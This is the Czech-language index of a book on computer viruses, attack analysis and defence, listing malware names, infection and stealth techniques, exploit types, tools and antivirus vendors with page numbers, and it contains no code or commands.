disassemblování, 256 filtrování, 567 klonování, 466 ladění, 208, 213 startování, 120 vytváření virových kódů, 260 WINLOGON.EXE, 446 procházení exportní tabulky, 453 tabulky importů, 158 Produkty Office, 75 program AutoCAD, 37 Bots, 531 certifikace, 574 cmd.exe, 188 counter, 349 Darwin, 33 Dwarf Bombing Warrior, 35 Ethereal, 516 fingerd, 325, 348 IDA, 204 InCtrl, 546 MSAV, 226 na detekci, 43 NEAT, 91 pro generování virů, 261 shepherding, 482 Super Logo, 89 TBCLEAN, 226 TEST, 67 VBA Editor, 82 windump, 521 Word, 55 programy, 26 pro spam, 50 prohledání paměti, 211 Prohledávání adresářů, 256 struktury OLE2, 76 prohlédnutí červího souboru, 204 prohlížení webu, 91 Project, 75 Project98Macro, 57 projev diskové aktivity, 196

Počítačové viry – analýza útoku a obrana Proland Software, 573 prolog, 237 proměnlivé bajty, 383, 384 proměnná CurrentContent, 91 prostředí PATH, 252 theCode, 96 proměnný počet parametrů, 218 ProPolice, 474 Prostředí MapInfo, 93 OS/2, 73 shellu, 325 Windows 9x, 74 prostup kódu viru, 62 Protiútoky, 504, 513 protokol HTTP, 430 ICMP, 550 Object Exchange, 320 TCP, 466 UDP, 466 provádění execve(), 483 kódu na zásobníku, 482 v zapisovatelných stránkách, 481 souboru, 500 zásobníku, 484 provedení infekce, 135 provoz honeypotů, 511 na síti, 500 Proxy firewally, 507 servery, 509 Průvodci architekturami, 528 První fáze, 518 generace útoků, 326 virů, 156, 161 verze spustitelných formátů, 137 viry, 37

Prvotní čistý stav, 421 implementace SMTP, 48 instrukce PUSH, 214 PS-MPC, 261 psaní virů, 466 PSAPI.DLL, 438 pseudo-náhodné indexové dekódování, 255 pseudokód, 82 PSMscan, 320 PT, 120 PTE, 433, 481 PULONG, 449 PUSH, 218 push instrukce, 247 původní boot sektor, 125, 267 kód viru, 223 kopie MBR, 122 nezavirovaný sektor, 193 obsah změněných hlaviček, 190 uložený MBR, 121 vstupní bod, 167 aplikace, 218 ovladače, 457 Python, 91

Q QAZ, 277 Qpa, 131 Quantum, 44, 70 QUERY_INFORMATION, 439 QueryWin32StartAddress, 449

R řadič MFM, 202 Ralf Brown Interrupt List, 178 ram semaphores, 185 rámec volání, 349 výjimky, 352 Random Decryption Algorithm, 217

595

Rané modely, 26 Raptor, 508 Ratter, 74, 109 RDA, 217, 224 techniky, 233 Read(), 90 ReadAll(), 90 readdir(), 92 ReadFile(), 221 ReadProcessMemory(), 438 reakce na útok, 204 realpath(), 480 Reaper, 37 reassemblování, 519 síťových paketů, 509 Reboot Panel, 184 Redcode, 33 Redfang, 320 reference pro program IDA, 222 Reflex Magnetics, 573 Regedit, 97 RegisterServiceProcess(), 252 registr eax, 249 EIP, 495 globálních ukazatelů, 459 IP, 395 r8, 459 SP, 211 větvení, 459 Regmon, 227, 548 Regswap, 246 regulární výrazy, 377 regulérní aplikace, 196 souborové funkce, 190 Rekompilace zranitelných služeb, 474 Relative Virtual Address, 254 relativní virtuální adresa, 153, 254 relokace, 156 spustitelných souborů, 132 v paměti, 416 relokační položka KERNEL.91, 141

596

Rejstřík

sekce, 132, 137 PE programů, 132 záznamy, 254 segmentů, 142 rentgenová dekódovací rutina, 391 funkce, 391 metoda, 389 Rentgenové skenování, 390, 396 Replikace, 36, 256, 360, 417 červů, 497 Replikační kód viru, 167 mechanismus červa, 551 proces, 567 rutina, 255 report_failure, 477 Reprodukční struktury, 28 techniky, 32 Řešení na úrovni kompilátoru, 472 rozsáhlých úkolů, 91 Resolution Service, 358 řetězec antiviru Pasteur, 381 ovladačů výjimek, 490 řetězové dopisy, 52 Retroviry, 270 retroviry, 226, 425 return-to-LIBC, 471 Return_Host, 539 reverzní inženýrství, 26 DOSu, 178 REXX viry, 84 na systémech IBM, 84 Rezidentní souborové infektory, 190 tunelující viry, 202 Režie způsobená realokací, 493 režim blokování, 510 hostitele, 530 jádra, 74, 190, 197 rozšíření

fyzických adres, 433 sledovací, 506 V86, 556 zadržení, 506 Richard Ford, 81 Rich Text Format, 80 Řídící bloky, 137 řízení, 137 emulátoru, 404 obsluze přerušení, 175 pomocí instrukce RET, 495 přístupu, 419 toku paketů, 505 začátku viru, 148 zásobníku, 492 ze samotného operačního systému, 194 riziko falešných poplachů, 406 Robert A. Freitas, 28 rodina Cascade, 42 Gaobot, 461 procesorů x86, 178 RDA, 224 Trivial, 127 virů AntiPascal, 271 BAT/Polybat, 88 Vacsina, 128 W32/Franvir, 112 W32/Idele, 145 W32/Klez, 132 W32/Perenast, 218 W32/Subit, 105 ROM image, 155 Ronald L. Rivest, 427 Rootkity, 51 uživatelského režimu, 51 Routery, 274, 505 Rovnice v Excelu, 83 Rozdělení adresovacího prostoru, 434 na jednotlivé části, 402 virtuální paměti, 419 rozdílné charakteristiky šíření, 498

rozdíly v systémovém zavaděči, 169 rozhraní API, 71 Ethernet, 505 Rozlišení vstupních bodů API, 453 rozložení běžných slov, 47 paměti, 331 rozmístění decryptoru, 135 rozsévání, 49 Rozšířené přístupové seznamy, 506 rozšíření detekovaného červa, 489 překladače gcc, 473 režimu jádra, 480 subsystému, 480 rozvíjení možností detekce, 26 rozvržení paměti, 560 rámce volání, 349 RTF, 80 RtlFreeHeap(), 72 Rugrat, 71 run-time komprimátory, 536 pakovač, 219 pakovače, 215 ruský autor virů Zombie, 251 boot virus Strange, 193 KAV, 383 virus WordSwap, 272 Zhengxi, 145 Zhengxi, 102 rutina dekódování v IDC, 542 Dispatch, 458 HookDispatch, 457 IoCallDriver(), 458 maďarského viru Filler, 271 obsluhy I/O portu, 185 PERVADE, 37 záplatování ROM, 106

Počítačové viry – analýza útoku a obrana zpětného volání, 80 Různé binární hrozby, 109 instrukce skoku, 206 realizace Win32 API, 151 varianty červů, 498 RVA, 153, 155 Ryan Russel, 511 rychlé provádění kódu, 482 Rychlost, 421 detekce, 498 skenování, 84 Rychlý průzkum kódu viru, 533

S SAC, 273 sada exploitů, 50 funkcí, 150 hackerských pomůcek, 51 obrazů systémů, 530 podezřelých API řetězců, 221 příznaků, 158 síťových paketů, 199 virtuálních strojů, 530 Safetynet, 573 SALC, 224 samomodifikující se kód, 205 Samorelokační kód, 416 samorozbalovací archivy, 481 samostatný ovladač INF.SYS, 197 Samotná relokace modulu, 234 Sand-Boxing, 424 Sasser, 518 SaveAsFile(), 98 SaveFile(), 98 sběrač smetí, 564 SCAN_NODE, 541 scanco, 350 SCANPROC.EXE, 446 Schéma organizace CARO, 53 paměti VLM, 436

pojmenování virů, 53 Schopnosti heuristické analýzy, 406 skenovacího enginu, 246 zadních vrátek, 278 Scriptlet.Typelib, 366 sdílené disky, 348 NetBIOSy, 277 SDK, 529 SEC_IMAGE, 484 SecureStack, 481 Security Focus, 571 SeDebugPrivilege, 439 seeding, 49 segmentace adresovacího prostoru, 481 Segment kódu, 106 virového kódu, 196 SEH, 489 sekce .data, 157 .debug, 158 .edata, 158 .reloc, 158 .rsrc, 157 .text, 155 Autorun, 100 kódu, 110 Sektor, 179 kořenového adresáře, 379 Sektorové boot viry, 415 sekvence ARP, 552 E800000000, 220 FindFirst, 174 kódu, 250 volání API, 483 instrukcí, 64 selektory, 210 SelEnd(), 542 selhání stránek, 446 SelStart(), 542 semi-metamorfní technika, 251 Semi-stealth, 186

597

send(), 72, 483 SENDFILE, 84 sendpage, 91 separátní rutiny, 257 Service Control Manager, 196 table, 496 Session Manager, 72 Šestibajtový skok na importovanou položku, 137 seznam běžících procesů, 438 IP adres, 497 jmen běžících procesů, 160 načtených ovladačů, 198 nahraných komponent, 436 odchytávaných přerušení, 183 oficiálně rozpoznávaných platforem, 56 otevřených síťových portů, 549 zavedených ovladačů, 455 zranitelných funkcí, 480 seznamy routerů, 505 SH3, 110, 151 SH4, 110 shareware, 43 shell, 483 Shellkód, 357 ShellScript, 59 Shell skripty na UNIXu, 86 Shrink32, 216 SIDT, 167 Šifrování, 260, 461 viru One_Half, 273 signatura červa, 520 IDS, 519 NIDS, 517 Signatury, 59, 509 viru, 431 šikovné makro viry, 80 silná hesla, 348 simulace vícethreadové funkcionality, 443

598

Rejstřík

Simulovaná návratová adresa, 494 simulování procesoru, 215 šíření červa Gaobot, 318 Slammer, 571 nevyžádaných zpráv, 50 počítačových červů, 523 virů, 39 síťově orientované verze VMWARE, 527 síťové počítačové systémy, 51 prostředí, 246 spojení, 530 založené nástroje, 368 síťový injektor, 49 provoz, 509 směrovač, 178 zdroj, 39 síť mobilního operátora, 320 TENEX, 37 SizeOfImage, 163, 407 SizeOfRawData, 158, 163 skenery paměti, 430 vstupních bodů, 381 skener paměti pro DOS, 432 typu on-demand, 461 skenovací kód, 400 technika, 135 Skenování, 36, 230 adresovacího prostoru, 462 jiných systémů, 497 paměti, 429, 430, 431, 455 a stránkování, 446 procesů, 454 v režimu jádra, 453, 458 řetězců, 376 uživatelského adresovacího prostoru, 453

vstupních a fixních bodů, 381 začátku a konce, 380 sken na dekomprimovaném obsahu, 216 škodlivá kryptografie, 47 škodlivý kód, 62, 509, 535 obsah, 505 paket, 510 program NEAT, 91 síťový provoz, 506 Škody velkého rozsahu, 499 skok na virovou obsluhu, 180 ve vstupním bodě, 137 škrcení virů, 497 skript.ini, 88 Skriptovací červi, 467 kód HyperTalku, 95 příkazový jazyk REXX, 84 škodlivé kódy, 574 viry pro AutoLisp, 96 Windows, 87 skript v jazyce REXX, 84 skrytí procesů, 51 skupina BCVG, 92 Metaphase, 90 slabé místo LSASS, 318 Slammer, 199 Sledování aktivních instrukcí, 396 a zachytávání provozu na síti, 544 decryptoru s použitím profilů, 396 odchozího provozu, 469 provozu na síti, 550 v síti, 520 útoku, 357 Sleep(), 409 slovník hesel, 325

slovní hodnoty, 272 slovo wazzu, 270 Složitější metamorfní viry, 247 Složitost viru, 246 Služba Apple Desktop, 106 služby BIOSu, 127 přerušení, 175 smazání dat na disku, 52 Směr dekódovací smyčky, 232 Smíšené ohrožení, 324 Smrt, 31 SMTP, 48, 507 engine, 467 proxy, 469 server, 507 sniffování, 550 Snímače stisku kláves, 51 snížení rychlosti detekce, 498 Snort, 509 sofistikovaný druh červa, 46 SoftICE, 208, 555 Software Appliance Company, 573 NIDS, 522 pro filtrování obsahu, 551 virtuálního PC, 526 Softwin, 573 Solaris, 59 na systému SPARC, 479 Solaris/Sadmind, 100 Sophos, 573 soubor CMD.EXE, 277 NET$DOS.SYS, 126 PE, 72 suspect.exe, 548 souborové formáty, 166, 216 viry, 180, 182, 402, 415 souborový formát obsahující virus, 214 PE, 143, 169 Win32 PE, 146 systém, 166, 197

Počítačové viry – analýza útoku a obrana FAT, 68 ve stylu Windows, 81 v režimu jádra, 185 virus, 131 Soubory COM, 129 DLL, 71 ELF, 493 formátu ELF, 73 INF systému Windows, 103 konstantní délky, 186 k přepsání, 92 LNK, 97 MSIL, 102 nápovědy Windows, 93 na disketě, 42 PIF, 97 pouze pro čtení, 127 prostředí .NET, 101 registru, 97 s právem zápisu, 73 Současné hrozby, 348 součást spustitelného obrazu, 443 souvislá virtuální paměť, 432 Spanska, 44, 71, 268 SPARC, 528 Špatné pořadí ovladačů výjimek, 490 speciální bajt, 521 bit, 76 data, 131 DLL knihovna, 168 dutinová technika infekce, 217 goat soubory, 547 komunikační protokol, 318 makro, 83 objekty, 421 parazitické infektory, 131 payload, 278 systémová práva, 439 specifická algoritmická detekce, 400 Specifické signatury, 510

Specifikace formátovacích funkcí, 336 testovacího souboru, 574 specifikátory formátu, 336 specifikátor formátování %n, 338 specifikované místo v síti, 49 spirála toku vykonávání kódu, 136 Spodní 2 GB paměti, 455 spojení na lokální síti, 530 UDP portu, 190 pomocí TCP, 466 TCP, 467 Společnost Symantec, 514 Sysinternals, 544 spolehlivost infekce, 107 spouštění kódu, 209 na vzdálených strojích, 84 programů, 69 Správa heapu, 340 počítače, 198 souborů, 72 správce paměti, 437, 446 paměti Windows NT, 446 řízení služeb, 196 úloh, 549 virtuálního stroje, 151, 409 virtuální paměti, 432, 436 zařízení, 198 infekce souboru, 219 disassemblovaný kód, 207 sprintf, 335 Sprint PCS Toshiba 2032SP, 110 spuštění antivirového softwaru, 226 binárního kódu viru, 67 hostitelského procesu, 252 infikovaného programu, 409

599

souboru, 195 infikované aplikace, 135 jiného přerušení, 209 kódu přes tuto obsluhu, 210 kopie červa, 318 libovolného kódu, 342 skriptů HyperTalk, 95 své vzdálené kopie, 86 spustitelné obrazy, 443 soubory, 195 prostředí .NET, 101 Spustitelný kód, 82, 159 na disku, 152 objekt, 216 PE soubor, 155 soubor, 169, 536 typu PE, 534 spyware, 52 SQL server, 360 stabilita systému, 480 StackGuarg, 473 Stack Pointer, 211 Stahovače, 49 standardní API volání, 218 decryptovací rutina, 212 dezinfekce, 413 inicializační rutina, 141 ošetřování výjimek, 478 systémové příkazy, 97 techniky analýzy, 254 volání funkce, 423 Win32 API, 74 zdroj ikon, 267 Stanislaw Ulam, 28 Starship, 184 starší permutační techniky, 247 START, 540 startovací kód červa, 492 Statická detekce decryptoru, 388 heuristika, 215 statický proces analýzy, 538 stavitelé kódu, 148

600

Rejstřík

Stavové firewally, 507 Stav čtverce v další generaci, 29 stažení updatů, 274 STEALTH, 540 Stealth na hardwarové úrovni, 178 úrovni clusterů, 186 a sektorů, 192 hardware, 193 při čtení, 188 techniky, 186 virus, 183 viry, 185, 421 Steve White, 63, 251 Stiller Research, 573 storages, 75 Store IDT, 167 Stormbringer, 75 stpcpy(), 480 Stránka Freda Cohena, 571 Eugena Spafforda, 572 stránkování, 479 stránky procesů, 455 strategie psaní virů, 466 virů, 201 strcat(), 480 strcpy, 328, 480 Stream, 77 streamy NTFS, 527 strncat(), 480 strncpy(), 480 struktura aplikace, 217 kódu viru Zperm, 248 PE souboru, 153 souboru, 215, 219 PIF, 103 strukturované ošetření výjimek, 489 struktury zásobníku, 480 Stuart McClure, 321 Stupid, 183

Subfunkce v AH, 191, 468, 485 subsystém, 198 Win32, 440 Sunday, 185 Supervisor, 278, 481 Swapovací viry, 196 switch, 182 swprintf, 335 Sybari Software, 573 Symantec, 467 AntiVirus, 467 Corporation, 573 Security Response, 570 Symbian, 63, 319 SymbianOS, 56 symbol, 28 SymbOS, 56 SymbOS/Cabir, 319 SYN, 506 SYS_execve(), 554 SYS_setresuid(), 554 SYS_socketcall, 554 sysenter, 454 Sysinternals, 529 system(), 334 System.Reflection.Emit, 102 System32, 72 SystemInformationClass, 438 Systémové datum, 255, 266 DLL knihovny, 164 oblasti, 174 ovladače zařízení, 203 volání, 197 procesu, 554 VxD moduly, 167 systémový boot sektor, 56 buffer, 194 titulek, 267 zavaděč, 137, 160, 219 systém FAT, 68 Microsoft Office, 527 Okena, 483 virtuální paměti

ve Windows NT, 432 vyvinutý IBM, 565 Win32, 129 systémy 486 SX, 222 blokující přístup podle chování, 111 BSD, 325 filtrování, 505 honeypot, 505 honeypotů, 511 pro sledování podezřelého chování, 202 řízení libovolného přístupu, 419 přístupu, 419 typu VMWARE, 405 včasného varování, 504, 514 založené na signaturách, 509

T tabulka adres importů, 159 bázových relokací, 158 descriptorů služby, 460 exportů knihovny KERNEL32.DLL, 161 v PE, 160 IDT, 210 importovaných adres, 187, 408 importů, 158, 160 v PE, 158 odkazů, 157 rozdělení disku, 121, 123 sekcí, 156 každého ovladače, 456 služeb, 496 v režimu jádra, 497 s adresami, 145 vektorů přerušení, 175 TASK0, 85 TBCLEAN, 226 TBSCAN, 379

Počítačové viry – analýza útoku a obrana TCL viry, 92 tcpdump, 520 TCP intercept, 506 port spojení útočníka, 355 technika alokace paměti, 184 Amoeba, 134 dekódování hrubou silou, 224 infekce boot sektoru, 120 matoucího odskoku, 137 přidání decryptoru, 135 rezidentních virů, 178 utajení vstupního bodu, 139 vkládání, 217 načítání DLL, 168 vložení decryptoru, 136 DLL, 196 vstupních bodů, 102 W32/Apparition, 245 techniky analýzy škodlivých programů, 523 blokování červů, 465, 482 disassemblování, 254 dynamické analýzy, 543 evoluce kódu, 498 heuristické detekce, 215 infekce, 121, 152 MBR, 121 PE souborů, 215 souborů, 126 virů, 120 instalace do paměti, 183 integrace kódu, 501 NTFS, 68 obrany, 215 na úrovni sítě, 523 proti emulaci, 222 přetečení bufferu, 466 vlastní detekce v paměti, 185 zachycování červů, 504 zaměřené proti ladění, 206 zatajení vstupního bodu, 217

zmírňování útoků, 493 technologie NX, 500 pro blokování skriptů, 467 tělo červa, 489 metamorfního viru, 245 Téměř přesná identifikace, 382 template bit, 76 Tentacle_II, 70, 141 Teorie automatů, 27 Tequila, 43 Terminate and Stay Resident, 174 Terminologie škodlivých programů, 45 termín ecophagy, 28 obrněný virus, 203 Testování přirozené infekce, 546 testy antivirů VTC, 573 textový soubor, 505 theCode, 96 The Art of Computer Programming, 26 THREAD_TERMINATE, 448 thready, 445 Thread Information Block, 213 Local Storage, 214 vadné aplikace, 470 TIB, 213, 224 timeout, 466 tisíce signatur virů, 431 TLB, 481 TLS, 146 TLSDEMO, 146 tok kódu, 206 decryptoru, 401 programu, 329 ToolsMakro, 79 Toshiba e405, 110 TPE, 240 trasovací záznamy, 209 Trasování, 202

601

kódu, 404 systémových volání, 544 UPX, 564 Trend Micro Incorporated, 573 trénování sítí, 411 třída virů Win32, 444 Trident Polymorphic Engine, 240 trigger, 445, 448 trik proti ladění, 231 Trivial, 127 trojský kůň W32/Smorph, 251 Trojští koně, 47 s funkcí hledání hesel, 48 TruSecure Corporation, 574 trvalá ztráta dat, 267 TSR, 174, 431 tunelovací engine, 203 techniky, 202 Tunelování, 209 HTTP, 509 na bázi emulace kódu, 203 Tunelující viry, 202 Turbo Debugger, 208, 537, 556 Pascal, 43 Turingův stroj, 27 tvarová heuristika, 402 tvorba virů, 469 Typické boot viry, 179 Typy zranitelností, 326 Typ infekce, 183 informace, 438 objektu, 533 oblasti, 120 provozu, 506 stroje 0x01A2, 110

U účet Guest, 278 UEP, 253 ukazatel instrukcí, 327

602

Rejstřík

na buffer, 488 kód, 239 strukturu EPROCESS, 455 zásobník, 211 rámce, 490 v adresářové položce, 67 Ukazatele funkcí, 333, 478 v zásobníku, 474 rámce, 473 Ukázková mapa jádra, 460 posloupnost filtrovacích ovladačů, 457 Úkol výzkumníků, 44 Ukončení procesu, 448 rodiče, 177 threadu, 451 viru, 449 ukončování threadů virů, 448 ukradené přihlašovací informace, 204 Uložení MBR, 123 šifrovacích klíčů, 213 ULTRAS.INF, 103 UMB, 184 umění tvorby počítačových virů, 44 umístění adres funkcí, 496 částí kódu, 493 decryptoru, 135 každé virtuální adresy, 254 souboru AutoCADu, 96 v úložištích, 81 virového kódu, 136 těla, 128 unesená návratová adresa, 362 Unicode, 534 Unicode.nls, 494

UNIVAC15, 37 Univerzální konstruktor, 27 stroj, 27 UNIX, 47, 59 UNIXová souborová práva, 419 Unknown EntryPoint, 253 UpdateAutoBat, 99 úplné stealth techniky, 430 viry, 190 Upper Memory Blocks, 184 úpravy ntoskrnl.exe, 365 US-ASCII, 341 uschování původního obsahu, 415 user_handler, 477 Úspěch viru Simile.D, 73 Úspěšné vniknutí do systému, 62 vykonání exploitu, 485 Úspěšný útok, 466 utilita PEDUMP, 156 útočný kód, 326 paket, 514 Útok DoS, 274 na emulátory, 234 známý čistý text, 391 odmítnutím služby, 51 pomocí shellkódu na Win32, 361 return-to-LIBC, 495 sítí P2P, 358 zablokovaného červa, 489 útoky červů, 467 DoS, 506 na formáty řetězců, 326 paměť ve Win32, 199 úrovni jádra, 484 pomocí

formátování řetězců, 335 přetečení, 470 proti skenování paměti, 461 return-to-LIBC, 500 využívající ukazatele funkcí, 333 zaměřené na frontu instrukcí, 212 uživatel Hypervisor, 278 Supervisor, 278 uživatelé antiviru, 467 uživatelské jméno, 419 uživatelský adresovací prostor, 435, 441

V V2Px, 208 V86, 556 Vacsina, 43, 128 Validace ovladačů výjimek, 489 vstupu, 340 válka červů, 318 varianta červa Dumaru, 544 viru Whale, 212 varianty rodiny Yankee_Doodle, 214 varování, 422 varovné hlášení, 509 VAT, 527 VAX, 325, 349 VBA, 77 Editor, 82 VBRUN300, 141 VBS/Loveletter@mm, 467 VBScript, 59 viry, 87 VCL, 261 VCS, 260 Vecna, 44, 108 vektor INT 21h, 181 přerušení INT 21h, 176

Počítačové viry – analýza útoku a obrana vektory INT 1, 209 přerušení, 184 velikonoční vajíčka, 47 velikost alokovaného bufferu, 439 boot sektoru, 45 databáze antivirového skeneru, 79 decryptoru, 239 fontu, 97 informace, 449 kódu, 155 MBR, 121 modulu, 156 oblasti v sektorech, 120 operačního kódu, 224 paketu pro dotaz, 350 paměti, 183 sektoru, 75 souboru, 191 virové sekce, 156 záchytných souborů, 190 zásobníku, 327 velké množství spojení, 497 Velký počet spojení, 497 Velmi destruktivní payload, 270 Verband Deutscher Virenliebhaber, 260 Vern Paxson, 321 verze AutoCADu, 96 běžných nástrojů, 51 IOS, 506 kódu, 82 Vesselin Bontchev, 82, 320 větev switch, 182 vfprintf, 335 vfprintf(), 480 VGrep, 532, 573 vícenásobná infekce, 402 vícenásobné hlavičky Windows, 408 PE hlavičky, 408 streamy, 68 vrstvy kódování, 232

zakódování, 242 vícethreadové funkcionality, 443 vícevrstvý bezpečnostní model, 425 Více než jedna virová sekce, 216 Vienna, 43, 128, 174 Viewsonic V36, 110 VIM viry, 92 Virdem, 69, 131, 174 virové řetězce, 218 tělo, 145 bod, 133 kód, 163, 452, 539 Virový kód na kontrolu chyb, 214 umístěný v paměti, 181 ovladač, 197 skener, 191 VirtualAlloc(), 441 virtuální 86 režim Turbo Debuggeru, 211 Virtuální adresovací prostor, 432, 434 debugger, 555 ovladače zařízení, 167 paměť, 432 soukromá síť, 508 stroj, 209, 240, 393 subsystémy, 424 systém, 425, 530 velikost sekce, 158 v PE hlavičce, 407 VirtualProtectEx(), 452 VirtualQueryEx(), 453, 454 VirtualSize, 158, 163 Virtual Address eXtension, 349 Device Driver, 114 Machine Manager, 166 machine manager, 409 PC, 526 VIRUS_SEGMENT, 142

603

VirusBuster, 573 Virus 1260, 10, 237 Analysis Toolkit, 527, 561 AntiEXE, 270 Anxiety, 163 Azusa2, 122 Badboy, 247 BAT/Hexvir, 88 BAT/Ramble, 99 BATVIR, 87 Beast, 112 BHP, 67 Bulletin, 573 Cabanas, 150 Cascade, 211 Cheeba, 234 Construction Set, 260 Creation Laboratory, 261 Cryptor, 213 CSV, 98 Dark_Avenger.1800.A, 272 Den_Zuko, 317 Denzuko, 124 DIR-II, 66 Disk Killer, 272 Donut45, 101 Dream, 93 Finnpoly, 64 Good times, 52 HLP/Demo, 94 IDEA, 268 Idele, 145 Implant19, 240 INF/Zox, 103 infikující diskovou cache, 195 Infis, 199 Jerusalem, 131 Junkie, 114 LFM, 95 LWP/Spenty, 98 Memorial, 170 Michelangelo, 270 MPB/Kynel, 93 MSIL/Gastropod, 102

604

Rejstřík

MSIL/Impanate, 102 Nexiv_Der, 146 Numer_of_theBeast, 192 One_Half, 135, 136 PeElf, 64 Phager, 103 Playgame, 269 přímé akce, 364 pro Apple II, 63 režim jádra, 198 QAZ, 277 Qpa, 131, 416 Research Unit, 574 Shifter, 74 Sma, 189 StarShip, 123 Stoned, 121 Strang, 193 Stupid, 183 Subit, 105 Tremor, 431 VBS/LoveLetter.A@mm, 126 ve filtrovacím ovladači, 456 Vienna, 128 vytvářející si vlastní kód, 149 v aplikacích, 448 W2K/Installer, 132 W32/Cabanas, 441 W32/Chiton, 72 W32/Chiton, 233 W32/Coke, 83 W32/Funlove, 348 W32/Funlove, 500, 534 W32/HIV, 69 W32/Mimail.I@mm, 276 W32/Niko, 444 W32/Perrun, 115 W32/Redemption, 134 W32/Resure, 216 W64/Shruggle, 71 W95/Anxiety, 163 W95/CIH, 167 W95/CIH, 133 W95/Drill, 207 W95/Lorez, 71

W95/Perenast, 102 W95/Zmist, 147 Whale, 63 WM/CAP.A, 80 WNT/RemEx, 443 Zhengxi, 145 Vir Rugrat, 71 Spanska, 224 Vacsina, 128 W95/WG, 74 Viry, 45 Corel Scriptu, 98 dokumentů AmiPro, 98 infikující objekty, 74 soubory ELF, 73 Microsoft .NET, 101 napsané v assembleru, 78 na OS/2, 70 přepisující data, 270 přímé akce, 174, 261 připojující se na začátek souboru, 129, 162 pro AutoLisp, 96 Corel Script, 98 NTFS Stream, 68 Python, 91 první generace, 221 rezidentní v procesu, 196 šifrující data, 272 využívající kompresi NTFS, 68 v procesech, 196 režimu jádra, 197 subsystému Win32, 440 Visio, 75 2003, 84 Visual Basic, 75, 104 Editor, 242 vize systémů automatů, 28 vkládání maker, 111

načítání DLL, 168 VLAD, 64, 203 Vlad, 70 Vlastník objektu, 419 adresář stránek, 433 adresovací prostor, 158 LSP soubor, 96 proces, 196 SMTP engine, 467 technologie, 574 volání funkcí API, 80 vstupní bod, 218 Vlastnosti ovladače Inf, 199 šíření červů, 498 vložená makra, 421 vložené instrukce smetí, 262 spustitelné soubory, 89 vložení instrukce skoku, 128 vložení kódu, 141 VM_WRITE, 439 VMM, 151, 166 VMS, 92 VMWARE, 405, 526 GSX Server, 527 vniknutí do systému, 62 vnořený MIME soubor, 342 volající kód, 352 volání API, 443, 483, 494 ExitProcess(), 143 ExitProcess()), 255 funkcí LFN 714Eh, 187 funkcí Win32, 80 INT 21h, 404 knihoven, 494 LoadLibrary(), 168, 169 nedokumentovaného přerušení, 416 příslušné funkce, 159 původní obsluhy, 202 volba /GS, 475, 500 VOOGLE, 533 VPN, 508

Počítačové viry – analýza útoku a obrana vprintf, 335 vprintf(), 480 vstupní body exportů, 459 vstupní bod aplikace, 216, 217 hostitele, 259 MAIN, 146 programu, 135, 162 v hlavičce, 137 vstupní hodnoty registrů, 185 virový bod, 133 vstup do režimu jádra na Windows 9x, 210 VTRACE, 544 vwfprintf, 335 vwprintf, 335 VxD, 74, 114, 151, 152, 529 moduly, 164, 197 viry pro Windows 95, 166 Výčet sítě, 347 výchozí adresa, 506 atribut, 439 vydávání updadů, 468 vygenerované viry, 261 vyhledávací algoritmy, 379 řetězce, 383 vyhledávání, 188 podezřelých kombinací kódu, 406 podle řetězců, 399 souborů a adresářů, 72 Vyhodnocení procesů, 448 vyhodnocování úrovně zranitelnosti, 368 Vykonání exploitu, 484 kódu, 454 na zásobníku, 480 obsahu zásobníku, 479 ovladače, 457 souboru cmd.exe, 487 vloženého objektu, 112 vykonatelný kód, 455

vykonávání hostiteli, 223 injektovaného kódu, 483 kódu, 206 MSIL kódu, 137 na instrukci POP ESI, 221 výkonná technika pro detekci virů, 393 reverzního inženýrství, 538 výkonné části, 448 Windows NT, 453 instrukce, 400 výkonný emulátor kódu, 561 vyléčení souboru, 133 vylepšená ochrana paměti, 422 Vylepšené EPO techniky, 140 vylepšení heuristických skenerů, 215 Výmaz ladících registrů, 213 výpadek stránky v adresovacím prostoru, 514 výpadky ATM, 274 Vypínání klávesnice, 213 MSAV/VSAFE, 226 výpis nesmyslných znaků, 267 obsahu procesu, 479 paměti, 338 řetězců, 534 sekce řetězců červa Nimda, 534 výpočet kontrolního součtu, 219 velikosti zásobníku, 328 vypsání obsahu paměti, 537 vyřazení breakpointů, 214 disassembleru, 205 výrobci HDD, 114 výskyt falešných poplachů, 420 virových infekcí, 194 výsledek virové infekce, 111 vysoce nakažliví červi, 470

605

vyšší bloky paměti, 184 výstup do souborů, 335 programu VGrep, 532 vytváření EXE souborů, 108 lokálních kopií, 475 vícenásobných kopií, 361 virových kódů, 260 vytvoření dávkového viru, 99 signatury, 489 Využití multithreadingu, 225 souboru autoexec.bat, 99 využívání VxD, 170 vývoj 32bitových virů, 215 antivirové obrany, 44 stealth technik, 189 virového kódu, 230 vývojový trend červů, 497 vyvolání funkcí knihovny, 494 výzkum počítačových virů, 62 zranitelností, 44 vzdálené ladění, 555 systémy, 86 vzhled decryptoru, 255 vznik heuristické analýzy, 215 vzorce výzkumu v oblasti virů, 43 vzory chování červů, 504

W W32/Apparition, 244 W32/Badtran, 343 W32/Beagle@mm, 102 W32/Blaster, 100, 207 W32/Bolzano, 364 W32/Brid@mm, 467 W32/Bugbear@mm, 467 W32/Cabanas, 170 W32/Chiton, 72

606

Rejstřík

W32/CodeRed, 100, 275, 430 W32/Dabber, 318 W32/Donut, 137 W32/ExploreZip, 216 W32/Franvir, 112 W32/Funlove, 418 W32/HLLP.Sharpei, 101 W32/HLLW.Bymer, 348 W32/HLLW.Lovgate@mm, 467 W32/Holar@mm, 467 W32/Klez, 343 W32/Klez@mm, 467 W32/Lirva@mm, 467 W32/Nimda@mm, 467 W32/Parvo, 448 W32/Perrun, 115 W32/Sasser, 318 W32/Simile, 254 W32/Slammer, 115 W32/Sobig@mm, 467 W32/Subit, 104 W32/Welchia, 100, 318 W32/Yaha@mm, 467 W64/Rugrat.3344, 501 W95/Anxiety, 163 W95/Boza, 70 W95/Boza.A, 161 W95/CIH, 133, 273 W95/Drill, 390 W95/Fabi, 108 W95/Haiku, 269 W95/Invir, 223 W95/Marburg, 240, 267, 542 W95/Memorial, 114 W95/Padania, 218 W95/Perenast, 102 W95/Puron, 403 W95/Regswap, 246 W95/Sma, 190 W95/Zperm, 248 W97M, 79 W97M/Killboot.A, 76 WAIT, 89 Watson Research Labs, 529 wazzu, 270 wcpcpy(), 480

